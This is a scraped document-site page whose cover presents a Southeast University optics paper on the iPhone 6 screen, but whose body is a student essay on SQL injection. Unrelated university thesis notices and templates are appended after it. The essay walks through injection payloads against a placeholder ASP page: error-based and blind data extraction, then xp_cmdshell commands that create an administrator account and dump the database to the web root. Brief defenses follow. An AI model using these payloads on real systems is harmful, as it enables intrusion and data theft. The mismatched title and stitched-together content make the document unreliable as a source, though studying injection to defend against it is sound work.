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Southeast University

光学课程论文

论文题目:浅析iPhone6屏幕的宣传卖点

学生院系:物理

学生姓名:何翀

学生学号: 10014312

Southeast University

浅析iPhone6屏幕的宣传卖点

摘要

关键词:双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD;

目录

引言 (3)

1 SQL注入过程 (3)

1.1判断是否可以攻击 (3)

1.1.1输入为数字时: (3)

1.1.2输入为字符串时: (4)

1.2判断数据库类型 (4)

1.2.1对于IIS未关闭的 (4)

1.2.2对于IIS不返回错误信息的 (4)

1.3判断数据类型 (5)

1.4猜测表名 (5)

1.5猜测列名 (5)

1.6得到数据 (5)

1.7直接获得用户名及密码 (6)

2.SQL注入防范 (6)

2.1客户端 (6)

2.2加密 (7)

2.3 IIS的限制 (7)

2.4 IIS权限的分配 (7)

Southeast University 结语 (7)

[参考文献] (7)

引言

计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下,入侵PC,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在08年时一场大规模的SQL注入席卷了全球,他们堆积选择ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站之后会受到感之后成为病原体。

现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户输入安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库服务器的相关信息,最后可以为所欲为。

1 SQL注入过程

1.1判断是否可以攻击

首先我们要将ie浏览器的Internet=>高级=>显示好友http信息去掉,这样我们就可以得到不同的错误,位置后的判断打下基础。

比如说形如一个http://example/mainView/show.asp?ID=123这是一个正常的网站,在这个网站中数据库服务器通常通过select * from tableName where ID=123来将结果集返回给客户端,这本来是没有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面添加一些代码,可以这样测试1.1.1输入为数字时:

通过经典的1,2测试法,我们可以这样做

不添加任何内容http://example/mainView/show.asp?ID=123;不报错

添加and 1=1这样就变成了http://example/mainView/show.asp?ID=123 and1=1;不报错

Southeast University 添加and 1=2 这样就变成了http://example/mainView/show.asp?ID=123 and 1=2;报错

1.1.2输入为字符串时:

末尾添加一个‘,这样就变成了http://example/mainView/show.asp?ID=123’;报错

添加‘and ’1‘=‘1这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1'='1';不报错

添加‘and ’1‘=‘2这样就变成了http://example/mainView/show.asp?ID=123 ’and‘1'='2';报错

当这两个条件均满足时,我们可以知道show.asp不存在安全检测机制,因此可以得到我们show.asp 是存在漏洞的。判断出这部分内容是可以实行sql注入时,我们可以进行下属步骤

1.2判断数据库类型

在和asp搭配的网站中,大多数采用的是access和sqlserver两种数据库,故这里我们不讨论mysql 这种类型的。

1.2.1对于IIS未关闭的

我们可以根据系统变量来判断,对于sqlserver数据库,其中存在一些系统变量,比如说user,利用这点,可以执行以下语句

http://example/mainView/show.asp?ID=123 and user>0;

我们需要解释以下,user存储的是当前连接的用户名,类型为nvarchar的,结果可想而知,我们将两个同类型的进行比较,那么系统首先会将nvarchar 的值转换为int,转换不成功,抛出错误,之后我们分析得到的错误信息:将userName(用户名)转换为int失败,这样,我们不仅判断出了这是sqlserver数据库,同时知道了用户名为userName。

对于ACCESS数据库,我们只需要简单的在最后添加一个‘即可

http://example/mainView/show.asp?ID=123‘

如果返回Microsoft JET Database Engine 错误 '80040e14',说明存在字符串语法错误,从中我们看出在show.asp 行8存在错误,从这个错误我们可以看出这个网站采用的是ACCESS数据库

1.2.2对于IIS不返回错误信息的

我们可以根据系统表来判断:Sqlserve的系统表为sysobjects,access的系统表为msysobjects 所以我们这样判断

http://example/mainView/show.asp?ID=123 and (select count(*) from sysobjects)>0

Southeast University http://example/mainView/show.asp?ID=123 and (select count(*) from mysobjects)>0

由于access数据库在web环境下访问msysobjects是没有权限的。因此不论是哪一种情况,总是会返回错误信息,所以如果页面访问正常,那么可以判断是Sqlserver数据库,如果不正常,有错误信息,则为access数据库。

1.3判断数据类型

在前面已经介绍过了数字和字符串类型的,还有一种类型是关键字类型的即keyword

它的查询语句大概是这个样子的:

Select * from tableName where keyword like ‘%关键字%‘;

所以我们可以注入keyword=‘ and whatYouWant and ‘%’=’,

这样SQL语句就变成了

Select * from 表名 where字段like ‘%’ and whatYouWant and ‘%’=’%’;

其中whatYouWant就是你想要得到的东西,好了,三种格式的数据类型判断完成后,接下来我们猜测表名

1.4猜测表名

方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(*)from 猜测的表名)>0如果返回的页面没有变化,说明存在这个猜测的表名,如果返回错误信息,则不存在这个表名,反复重复这个过程,我们得到相应的表名,很是繁琐的过程,可是我们可以根据相关信息来猜测,比如说图书管理系统,我们会猜测book,borrower等名称

1.5猜测列名

方法大致如下:http://example/mainView/show.asp?ID=123 and (select count(猜测的列) from 得到的表名)>0,反复这个过程,得到列名

1.6得到数据

假设我们已经得到了表名和列名,得到数据的思路如下,先得到top 1的长度,之后判断每一位的ASCII,具体实现如下:

判断长度:

http://example/mainView/show.asp?ID=123 and (select top 1 len(列名) from 表名)>n;

Southeast University 将n换成不同的数字,根据返回的不同值,可以得到此列第一个值长度,比如说>4正确,>5错误,那么这个长度就是为5,

之后我们要得到每个字符对应的是什么

http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,m,1)))>Asn,的m为第几个字符,它是小于等于我们刚才得到的n的,Asn为ascii的值,由于数字和字母在1~128之间,

例如http://example/mainView/show.asp?ID=123 and (select top 1 ascii(sbustring(列名,2,1)))=39;我们可以得到第二个字符是9

因此通过这个方法,我们可以得到每一个字符的ascII,从而得到数据,这个工作大量重复且繁琐,自己做,算了吧,写一个小程序。很快就搞定了。

1.7直接获得用户名及密码

这样做只是一些基本的方法,对于真正比较牛的黑客,会使用另外一下方法。

主要是针对SQLserver数据库的,由于SQLserver和操作系统有紧密联系,如果当期的连接具有sa权限,且 xp_cmdshell(将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出)正确执行(虽然在sqlserver2005中默认是关闭的),那么我们就很容易控制PC,操作步骤如下:http://example/mainView/show.asp?ID=123;exec master..xp_cmdshell “net user namepassword/add”--可以直接增加操作系统帐户name密码为password

http://example/mainView/show.asp?ID=123;exec master..xp_cmdshell“net localgroup name administrators /add”-- 把刚刚增加的帐户user加到administrators组中。

http://example/mainView/show.asp?ID=123;backuup database 数据库名to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载数

一般来说,WEB虚拟目录是:c:\inetpub\wwwroot;

2.SQL注入防范

通过上述论述,我们了解了sql注入的过程,针对过程,我们发现,主要可以从以下几点进行防范2.1客户端

在构造动态sql语句中,我们要检测用户输入的合法性,这对于我们来说是很重要的,因为往往我们只顾及了完成编码工作而忽略了安全问题,这样,对于经验老道的程序员,很快就可以看出其中的漏洞,

Southeast University 因此在检查用户输入时,如果遇到select exec xp_cmdshell时,应该立即停止asp,并将页面至于出错状态。

2.2加密

当然加密是很重要的,我们可以采取一些加密算法,例如md5,rsa,des等,来阻止你获得密码2.3 IIS的限制

在sql注入过程中,iis的返回信息无疑是最大的帮凶,因此,对于iis的管理员,可以不管是什么样的错误,都设置成同一种错误返回回来,这样,就可以避免不法分子通过放回错误来达到目的,但是这样做的结果会增加程序员的负荷,程序员不知道是什么除了错,因此对于修正错误会有影响。

2.4 IIS权限的分配

尽量给web最低权限,如果web只涉及到某几张表,那么只给他这几张表的访问权限,如果有修改操作,将update权限给它,总之它需要什么,我们提供给他什么,其余的不会给。

结语

Sql注入在国内日渐成熟,不法分子越来越多,我们的私人信息面临威胁,因此作为将来要从事软件开发的人员,我觉的我们有必要对这种安全漏洞进行彻底的分析,尽量减少它对我们客户的影响,有一个想法,是这样的,我认为我们可以设置一些虚假的用户名,密码,看似具有管理员权限,实则没有,同时,我们在检测用户输入时候对于那些非法的类似select,xp_cmdshell等输入,我们可以监视这个ip,掌握对方的作案动机,从而将这个不法分子揪出来。

[参考文献]

[1]51cto SQL注入攻击与防御[EB/OL]

https://www.360docs.net/doc/2a11341743.html,/art/201108/287651.htm [2010-09-14]

[2]baidu SQL注入攻击的原理及其防范措施[EB/OL]

https://www.360docs.net/doc/2a11341743.html,/view/99cb370976c66137ee06193b.html] [ 2008-12-12]

Southeast University [3] wiki SQL注入攻击[EB/OL]

https://www.360docs.net/doc/2a11341743.html,/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%

BB%E6%93%8A[2012-11-19]

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Southeast University 光学课程论文 论文题目:浅析iPhone6屏幕的宣传卖点 学生院系:物理 学生姓名:何翀 学生学号: 10014312

Southeast University 浅析iPhone6屏幕的宣传卖点 摘要 关键词:双域像素Dual-domain pixels;光取向技术Phote aligment;Retina HD; 目录 引言 (3) 1 SQL注入过程 (3) 1.1判断是否可以攻击 (3) 1.1.1输入为数字时: (3) 1.1.2输入为字符串时: (4) 1.2判断数据库类型 (4) 1.2.1对于IIS未关闭的 (4) 1.2.2对于IIS不返回错误信息的 (4) 1.3判断数据类型 (5) 1.4猜测表名 (5) 1.5猜测列名 (5) 1.6得到数据 (5) 1.7直接获得用户名及密码 (6) 2.SQL注入防范 (6) 2.1客户端 (6) 2.2加密 (7) 2.3 IIS的限制 (7) 2.4 IIS权限的分配 (7)

Southeast University 结语 (7) [参考文献] (7) 引言 计算机的发展越来越快,可是随之而来的却是一系列安全问题,这些安全问题直接威胁到了用户的私人信息,诸如账号,密码,住址等,他们利用用户的好奇心,欺骗用户或者在用户毫不知情的情况下,入侵PC,盗取资料,对用户构成一定威胁,危害不仅局限于此,譬如在08年时一场大规模的SQL注入席卷了全球,他们堆积选择ip,将目标锁定到不同网站,其中包括一些受信任的网站,用户点击网站之后会受到感之后成为病原体。 现在由于程序员的水平参差不齐,在编写程序的时候有时会很少考虑到安全方面的因素,及缺少用户输入安全性的判断,这样就导致不法分子有机可乘,他们根据不同的输入,分析返回结果,得到数据库服务器的相关信息,最后可以为所欲为。 1 SQL注入过程 1.1判断是否可以攻击 首先我们要将ie浏览器的Internet=>高级=>显示好友http信息去掉,这样我们就可以得到不同的错误,位置后的判断打下基础。 比如说形如一个http://example/mainView/show.asp?ID=123这是一个正常的网站,在这个网站中数据库服务器通常通过select * from tableName where ID=123来将结果集返回给客户端,这本来是没有什么问题的,可是这里却存在极大的安全隐患,比如说我们可以在后面添加一些代码,可以这样测试1.1.1输入为数字时: 通过经典的1,2测试法,我们可以这样做 不添加任何内容http://example/mainView/show.asp?ID=123;不报错 添加and 1=1这样就变成了http://example/mainView/show.asp?ID=123 and1=1;不报错

东南大学硕士研究生学位论文

东南大学硕士研究生学位论文 答辩公告 学位论文名称:钢筋混凝土梁多种加固方式的比选分析研究 硕士研究生姓名:杨晶晶 指导教师:徐文平副教授 专业(学科):建筑与土木工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年4月27日下午13:30 答辩委员会主席:曹双寅教授 答辩委员会委员:曹双寅(教授,东南大学土木学院) 丁汉山(教授,东南大学土木学院) 魏大平(教授级高工,南京民用建筑设计研究院) 王春林(讲师,东南大学土木学院,答辩秘书) 东南大学研究生院 2012年4月27日欢迎旁听!

学位论文名称:大型风力发电机组塔架的静动力性能研究 硕士研究生姓名:谢京臣 指导教师:马军副教授 专业(学科):结构工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年4月27日下午13:30 答辩委员会主席:曹双寅教授 答辩委员会委员:曹双寅(教授,东南大学土木学院) 丁汉山(教授,东南大学土木学院) 魏大平(教授级高工,南京民用建筑设计研究院) 王春林(讲师,东南大学土木学院,答辩秘书) 东南大学研究生院 2012年4月27日欢迎旁听!

学位论文名称:碳纤维加固混凝土T梁锚固方法对比试验研究 硕士研究生姓名:王勇 指导教师:徐文平副教授 专业(学科):建筑与土木工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年4月27日下午13:30 答辩委员会主席:曹双寅教授 答辩委员会委员:曹双寅(教授,东南大学土木学院) 丁汉山(教授,东南大学土木学院) 魏大平(教授级高工,南京民用建筑设计研究院) 王春林(讲师,东南大学土木学院,答辩秘书) 东南大学研究生院 2012年4月27日欢迎旁听!

江苏省研究生学位论文抽检封面 - 东南大学研究生院

江苏省硕士学位抽检论文封面(学术型) (2015/2016 学年) 培养单位编号: 申请学位类别: 学术型硕士 一级学科代码和名称: 二级学科代码和名称: 论文研究方向: 是否在职: 论文题目: 研究生编号: 江苏省教育评估院制

江苏省硕士学位抽检论文封面(专业型) (2015/2016 学年) 培养单位编号: 申请学位类别: 专业型硕士 专业代码: 专业名称: 专业领域: 论文研究方向: 是否在职: 论文题目: 研究生编号:

江苏省教育评估院制 说明: 一、报送材料: 被抽到的硕士研究生学位论文均需报送纸质版一式三份,同时报送电子版(PDF格式,与纸质版一致)一份。(抽评论文一律不得修改,按存档版报送) 二、材料要求: 1、论文纸质版及电子版均不得出现学校名称、导师姓名、作者姓名以及其他有可能辨认出论文来源的字样。注意将页眉“东南大学硕士学位论文”去掉。 2、论文装订内容主要包括:①.论文封面(按照评估院的统一要求制作封面); ②.中英文摘要;③目录;④.论文主体部分。“独创性声明”、“作者在读期间发表的论文或研究成果”、“致谢”等文字里不得出现学校、导师、作者以及其他有可能辨认出论文来源的字样,有关隐去文字统一用*字符号代替。 3、论文封面严格按省教育评估院规定格式制作并装订。 (封面采用白色平版皮纹纸) 其中:①“培养单位代码”空缺,将由省教育评估院统一填写; ②对于学术型硕士“学科代码、名称”按照国务院学位委员会颁布 的《授予博士、硕士学位和培养研究生的学科、专业目录》规定的代码、名称填写,也可在附件1中查询; ③对于专业型硕士“专业代码、类别、领域”可在附件1查询; ④“是否在职”填写“是”或“否”。即攻读硕士学位期间是否是在 职攻读。 ⑤“研究生编号”为五位阿拉伯数字,可在附件1中查询。 ⑥“论文研究方向”请根据实际情况填写,如果论文涉及学科交叉的

东南大学硕士研究生学位论文

学位论文名称:大型集群桩基厚承台空间桁架实验研究 硕士研究生姓名:刁莹露 指导教师:戴国亮副教授 专业(学科):岩土工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年5月29日上午09:00 答辩委员会主席:穆保岗(副教授东南大学) 答辩委员会委员:程晔(副教授,南京航空航天大学) 龚成中(副教授,淮阴工学院) 答辩委员会秘书:赵学亮(讲师,东南大学) 东南大学研究生院 2012年5月28日欢迎旁听!

学位论文名称:乌江特大桥大直径嵌岩桩竖向承载性状研究硕士研究生姓名:董错 指导教师:龚维明教授 专业(学科):岩土工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年5月29日上午09:00 答辩委员会主席:穆保岗(副教授东南大学) 答辩委员会委员:程晔(副教授,南京航空航天大学) 龚成中(副教授,淮阴工学院) 答辩委员会秘书:赵学亮(讲师,东南大学) 东南大学研究生院 2012年5月28日欢迎旁听!

学位论文名称:超大直径嵌岩桩基础整体受力体系分析 硕士研究生姓名:廖辉煌 指导教师:龚维明教授 专业(学科):岩土工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年5月29日上午09:00 答辩委员会主席:穆保岗(副教授东南大学) 答辩委员会委员:程晔(副教授,南京航空航天大学) 龚成中(副教授,淮阴工学院) 答辩委员会秘书:赵学亮(讲师,东南大学) 东南大学研究生院 2012年5月28日欢迎旁听!

学位论文名称:Prediction of the Bearing Capacity for Drilled Shafts Socketed into Rock 硕士研究生姓名:洛特飞 指导教师:龚维明教授 专业(学科):岩土工程 院(系、所):土木工程学院 答辩地点:土木馆204 答辩时间:2012年5月29日上午09:00 答辩委员会主席:穆保岗(副教授东南大学) 答辩委员会委员:程晔(副教授,南京航空航天大学) 龚成中(副教授,淮阴工学院) 答辩委员会秘书:赵学亮(讲师,东南大学) 东南大学研究生院 2012年5月28日欢迎旁听!

东南大学毕业设计要求

关于艺术学院2011-2012学年毕业设计(论文)工作 安排的通知 一、毕业设计(论文)指导教师的职责与工作任务 1.指导教师的条件:艺术学院各专业在编教师提出申请,遵循《艺术学院毕业设计(论文)工作条例》,并符合以下条件。 ①指导教师应由讲师以上(含讲师)或相当职称的人员担任。 ②校外毕业设计(论文),可采用合作指导的形式聘请合作单位中级职称以上的科研人员担任指导,但仍应由本专业讲师以上的教师作指导教师,掌握工作的进度、要求,协调有关问题。 2.明确、履行毕业设计(论文)指导教师职责:毕业设计(论文)指导实行指导教师负责制。指导教师对毕业设计(论文)阶段的教学活动全面负责。 ①指导教师应为人师表、教书育人、对学生严格要求。 ②指导教师要重视对学生独立工作能力、分析解决问题的能力、创新能力的培养及设计思想和科学研究方法的指导。 3.指导教师的具体任务: ①选择课题,规范地填写任务书; ②审定学生拟定的开题报告,批改译文及外文摘要; ③定期与学生进行讨论交流,进行答疑和指导,检查学生的工作进度和质量; ④指导学生毕业设计,正确撰写毕业设计报告或论文并认真批阅; ⑤毕业设计(论文)结束阶段,按毕业设计(论文)的成果要求检查学生的工作完成情况;对学生进行答辩资格预审,写出评阅意见; ⑥参加毕业设计答辩,写出答辩意见; ⑦指导学生作好毕业设计(论文)的业务总结,并根据学生的工作态度、工作能力、毕业设计报告或论文质量写出评语; ⑧检查学生毕业设计(论文)的全部资料、成果,并在资料袋上列出清单,按学校要求整理归档。 4.指导人数与指导时间 为确保毕业设计(论文)的质量,每位教师所指导的学生一般不超过6人。 指导教师因工作需要必须出差,时间在2周以内的须经院教学院长批准,超过2周的应报教务处审批,并事先向学生布置好任务或委托他人代为指导。二、毕业设计指导教师指导学生的确定 按学生专业平均绩点排名(教务办提供)顺序,由学生根据课题兴趣自主选择导师。各系自行在规定的时间内组织完成。 三、艺术学院2012届毕业设计(论文)工作具体安排

东南大学毕业设计论文式样

毕业设计(论文)报告 题目____________________________________ ____________________________________ ________________院(系)______________专业学号______________________ __________ 学生姓名______________________ __________ 指导教师____________________ ____________ 起讫日期___________________ _____________ 设计地点_________________ _______________

东南大学毕业(设计)论文独创性声明 本人声明所呈交的毕业(设计)论文是我个人在导师指导下进行的研究工作及取得的研究成果。尽我所知,除了文中特别加以标注和致谢的地方外,论文中不包含其他人已经发表或撰写过的研究成果,也不包含为获得东南大学或其它教育机构的学位或证书而使用过的材料。与我一同工作的同志对本研究所做的任何贡献均已在论文中作了明确的说明并表示了谢意。 论文作者签名:日期:年月日 东南大学毕业(设计)论文使用授权声明 东南大学有权保留本人所送交毕业(设计)论文的复印件和电子文档,可以采用影印、缩印或其他复制手段保存论文。本人电子文档的内容和纸质论文的内容相一致。除在保密期内的保密论文外,允许论文被查阅和借阅,可以公布(包括刊登)论文的全部或部分内容。论文的公布(包括刊登)授权东南大学教务处办理。 论文作者签名:导师签名: 日期:年月日日期:年月日

东南大学研究生论文选题和开题报告的原则与要求

东南大学研究生论文选题和开题报告的原则与要求 研究生的学位论文工作是研究生整个学习期间的一个重要的阶段。它既使所学理论知识进一步融汇贯通和应用,又使研究生的实践工作能力、科学研究能力得到很好地锻炼。论文选题是论文工作的关键,而开题报告则是保证论文进度、质量的重要前提。为了保证论文工作的质量,现提出硕士、博士生论文选题和开题报告的原则和要求。 一、硕士论文选题和开题报告 (一)选题 1、选题要考虑本学科的发展与实际应用相结合。 2、选题应尽量结合国家下达的科研项目或工程中提出的关键性问题。 3、选题应考虑到有一定的先进性和适当的难度,既要有理论分析,又要有实验验证(硬件工作经有关使用单位评定)。 4、所选课题应为本学科、专业或工程现场,在经费、仪器设备、试验条件等方面具有实现该课题的基本物质条件,并经过努力能按期完成的。 5、指导教师应充分了解硕士生的专长和不足,结合硕士生在某方面的特长和兴趣指导选题。 6、鼓励由研究生自己拟出论文题目或导师和研究生分别拟题、共同商榷,但都需结合学科、专业的研究方向经过充分调研。 (二)开题报告 1、硕士生开题报告一般应在第三学期内完成,应至少提前一周在网上提交开题申请,并经院(系、所)研究生秘书审核。 2、硕士生在选题、调研的基础上写出开题报告。开题报告应在所在学科(领域)范围内公开报告及论证,应邀请有关学科(领域)的专家(博士、副高及以上职称)参加,人数一般为三至五人。全日制专业学位硕士研究生开题报告会至少应有五名专家,且至少有一名行业专家参加。要求至少在二级学科(领域)内组织硕士生开题。 3、开题报告应包括以下内容: ①课题来源(国家、教育部、省、市、企业、自选)、选题依据,应着重说明本课题在国内外的研究动态,课题进行的途径和最终目标。 ②课题在理论或实际应用方面的价值,以及可能达到的水平。 ③课题研究拟采用哪些方法和手段,完成论文的实验条件等。 ④研究过程中预计可能遇到的困难或问题,并提出解决的方法和措施。 ⑤论文工作量。 4、开题报告经专家认真讨论并作出质量评定决议。质量评定决议采取表决方式,经全体成员三分之二以上同意,方得通过。研究生应在开题报告会结束后一周内填写《论文开题报告论文工作实施计划表》(一式两份),并在网上录入开题结果。书面材料须由导师写出综合意见,一份送所在院(系、所)归档备查,另一份自留。 5、开题报告通过后,可继续进行论文工作,且在院(系、所)研究生秘书网上审核确认后至少半年方可申请答辩。 6、开题报告通过后,原则上不应随意更改研究方向。如确有特殊原因需更改研究方向者,须由研究生写出书面报告,经指导教师签署意见,学科负责人审核,院(系、所)负责人审批后,报研究生院备案,并在2个月内补做开题报告,并提交结果。

东南大学毕业设计(论文)任务书 吴杰

毕业设计(论文)任务书 院(系)机械工程学院 专业工业工程 设计(论文)题目Robocup Rescue极端环境下 应急响应方案研究 学生姓名学号 起止日期2013.11.30-2014.6.10 设计地点机械楼 指导教师许映秋 顾问教师谈英姿 教研室主任________________________________________ 教学院长(教学系主任)____________________________ 发任务书日期2013 年月日

毕业设计(论文)任务的内容和要求 (包括任务内容、原始条件及数据、技术要求、工作要求等) 任务内容 在极端环境下如何有效实施救援,成为灾难环境抢险救灾的重点难点。在通信中断的情况下,消息无法及时传达;在避难所破坏情况下,伤员得不到合理安置;在余震多发的情况下,还会造成大量二次伤害,影响救援进度...... 本课题的主要任务是:以Robocup Rescue仿真环境为研究平台,针对各种极端情况,提出相应的应急响应方案,并用代码予以实现,要求所形成方案能有效应对极端情况,改善和提高救援效能。 原始条件、数据及技术要求 (1)查阅资料,熟悉Robocup救援仿真系统; (2)查阅资料,了解现实环境中极端情况(如地震导致通信中断、避难设施严重破坏等)的应急响应方案; (3)针对不同的极端环境,提出自己的应急响应方案; (4)针对“无通信”和“无Refuge”两种极端环境,详细设计Robocup Rescue 系统中AT智能体的应对方案(如:在无Refuge情况下,AT如何安置所救市民和智能体等); (5)编写代码,实现自己的应对方案; (6)撰写毕业论文。 工作要求 1)在领会任务内容及要求的基础上,通过查阅文献资料、调查研究和方案论证, 完成开题报告。 2)根据任务要求开展研究工作,完成任务书规定的要求,撰写成毕业论文,独立 地完成毕业设计的各项任务; 3)查阅20篇以上的专业文献(含英文); 4)毕业论文需符合规范化要求,主要包括:由中外文题名、目录、中外文摘要、 引言(前言)、正文、结论、谢辞、参考文献和附录组成;中文摘要在400汉字左右;外文摘要与中文要相对应;设计说明书、论文或软件说明书的总字数在 1.5~2万汉字左右。

东南大学医学院硕士研究生论文答辩和学位授予的要求

东南大学医学院硕士研究生论文答辩和学位授予的要求各硕士授予权学科点和研究生导师: 为了我院学科建设和研究生教育事业发展的需要,为进一步规范学位和研究生教育管理工作,不断提高我院研究生教育质量,在严格执行《东南大学研究生手册》的基础上,根据医学院具体情况,参照东南大学研究生院“校研生[2009]第46号文件”,特对医学院硕士研究生论文答辩和授予学位时发表论文等成果考核要求作如下规定: 一、所有研究生必须通过相应的临床或教学实践能力考核;完成导师及指导小组指定的研究课题,撰写学位论文,导师签字同意后经专家评阅通过;英语能力达到东南大学授予硕士学位的水平;并达到下述论文发表或成果考核要求之一者方可申请论文答辩。 科学学位硕士研究生:1、第一作者在省级以上学术刊物(包括省级及以上学术会议、校际学术会议、校内校级学术报告会、《科技论文在线》三星级及以上) 发表1篇以上与学位论文内容有关的论著;2、第一作者在中国科技核心期刊以上学术刊物投稿1篇以上与学位论文内容有关的论著且获得刊用通知;3、第二作者在《中国科学引文数据库》(Chinese Science Citation Database,简称CSCD)以上(包括Medline、PubMed、EI、SCI收录杂志和中华医学系列杂志)学术刊物投稿1篇以上与学位论文内容有关的论著且获得刊用通知或在线发表,导师为第一作者;4、学位论文相关内容总结成文投寄SCI杂志(第一作者),取得杂志稿号。5、获得省部级以上科技成果奖前5名、获得国家发明专利前3名。6、博士生导师或承担国家自然基金以上重大项目的硕士生导师认为研究生可以不必发表论文而用以满足发表高水平论文需要时,研究生和导师在论文答辩前2月共同向学院学术委员会提出免发论文答辩申请,院学术委员会对其学位论文审核认为达到硕士学位授予水平者。 临床医学专业学位硕士研究生和七年制临床医学专业学生:1、第一作者在省级以上学术刊物(包括省级及以上学术会议、校际学术会议、校内校级学术报告会、《科技论文在线》三星级及以上) 投稿1篇以上与学位论文内容有关的文章(论著、综述、病例报告等)且获得刊用通知;2、第二或第三作者在《中国科学引文数据库》(Chinese Science Citation Database,简称CSCD)以上(包括Medline、PubMed、SCI收录杂志和中华医学系列杂志)学术刊物投稿1篇以上与学位论文内容有关的论著且获得刊用通知或在线发表,导师为第一作者。3、学位论文相关内容总结成文投寄CSCD以上(包括Medline、PubMed、SCI收录杂志和中华医学系列杂志)(第一作者),取得杂志稿号。4、获得省部级以上科技成果奖前5名、获得国家发明专利前3名。5、博士生导师或承担国家自然基金以上重大项目的硕士生导师认

东南大学研究生论文选题、开题报告的原则和要求

东南大学研究生论文选题、开题报告的原则和要求 研究生的学位论文工作是研究生整个学习期间的一个重要的阶段。它既使所学理论知识进一步融会贯通和应用,又使研究生的实践工作能力、科学研究能力得到很好的锻炼。论文选题是论文工作的关键;而开题报告则又是保证论文进度、质量的重要前提。为了保证论文工作的质量,现提出硕士、博士生论文选题和开题报告的原则和要求。 一、硕士论文选题和开题报告 (一)选题 1、选题要考虑本学科的发展与实际应用相结合。 2、选题应尽量结合国家下达的科研项目或工程中提出的关键性问题。 3、选题应考虑到有一定的先进性和适当的难度,既要有理论分析、又要有实验验证(硬件工作经有关使用单位评定)。 4、所选课题应为本学科、专业或工程现场,在经费、仪器设备、试验条件等方面具有实现 该课题的基本物质条件,并经过努力能按期完成的。 5、指导教师充分了解硕士生的专长和不足,结合硕士生在某方面的特长和兴趣指导选题。 6、鼓励由研究生自己拟出论文题目或导师和研究生分别拟题,共同商榷,但都需结合学科、专业的研究方向经过充分调研。 (二)开题报告 1、硕士生开题报告会原则上应在第三学期内进行,并应至少提前两周在网上提交开题申请。 2、硕士生在选题、调研的基础上写出开题报告。开题报告会应在所在学科、专业范围内公开报告及论证,由导师主持并邀请有关学科、专业的专家(副教授及以上,讲师必须为博士)参加,一般三至五人。 3、开题报告应包括以下内容: ①课题来源(国家、教育部、省、市、自选)、选题依据,应着重说明本课题在国内外的研究动态;课题进行的途径和最终目标。 ②课题在理论或实际应用方面的价值,以及可能达到的水平。 ③课题研究拟采用哪些方法和手段,完成论文的实验条件等。 ④研究过程中预计可能遇到的困难或问题,并提出解决的方法和措施。 ⑤论文工作量。 4、开题报告经专家认真讨论并作出决议。决议采取表决方式,经全体成员三分之二以上同意,方得通过。研究生应在一周内填写《论文开题报告和论文工作实施计划表》(一式两份),由导师写出综合意见,一份送所在院(系、所)归档备查,另一份自留。 5、开题报告通过后,方可进入论文工作阶段,且至少半年后方可申请答辩。未通过者,在1~2个月内可补做开题报告,仍未通过者,则按《东南大学硕士研究生中期考核与筛选办法》处理。 6、开题报告通过后,原则上一般不再随意改题。如确有特殊原因需改题者,须由研究生写出书面报告,经指导教师签署意见,教研组(研究室)审核,院(系、所)负责人审批后,

东南大学人文学院本科生毕业设计论文模板

题目_________________________________ ____________________________________ ________________院(系)_________ ___专业学号________________________________ 学生姓名________________________________ 指导教师________________________________ 起止日期2017年12月至2018年6月 设计地点东南大学九龙湖校区文科楼

东南大学毕业(设计)论文独创性声明 本人声明所呈交的毕业(设计)论文是我个人在导师指导下进行的研究工作及取得的研究成果。尽我所知,除了文中特别加以标注和致谢的地方外,论文中不包含其他人已经发表或撰写过的研究成果,也不包含为获得东南大学或其它教育机构的学位或证书而使用过的材料。与我一同工作的同志对本研究所做的任何贡献均已在论文中作了明确的说明并表示了谢意。 论文作者签名:日期:年月日 东南大学毕业(设计)论文使用授权声明 东南大学有权保留本人所送交毕业(设计)论文的复印件和电子文档,可以采用影印、缩印或其他复制手段保存论文。本人电子文档的内容和纸质论文的内容相一致。除在保密期内的保密论文外,允许论文被查阅和借阅,可以公布(包括刊登)论文的全部或部分内容。论文的公布(包括刊登)授权东南大学教务处办理。 论文作者签名:导师签名: 日期:年月日日期:年月日

摘要 (小四号宋体,1.5倍行距)中文摘要约400-500字,英文约250-300个实词,二者基本对应。它是论文内容的高度概括,应说明研究目的、研究过程和方法、成果和结论,要突出本论文的创造性成果或新的见解,用词简洁、准确。论文摘要后还应注明本文的关键词3至5个。关键词应为公知公用的词和学术术语,不可采用自造字词和略写、符号等,词组不宜过长。 关键词:关键词,关键词,关键词

东南大学研究生学位论文格式规定

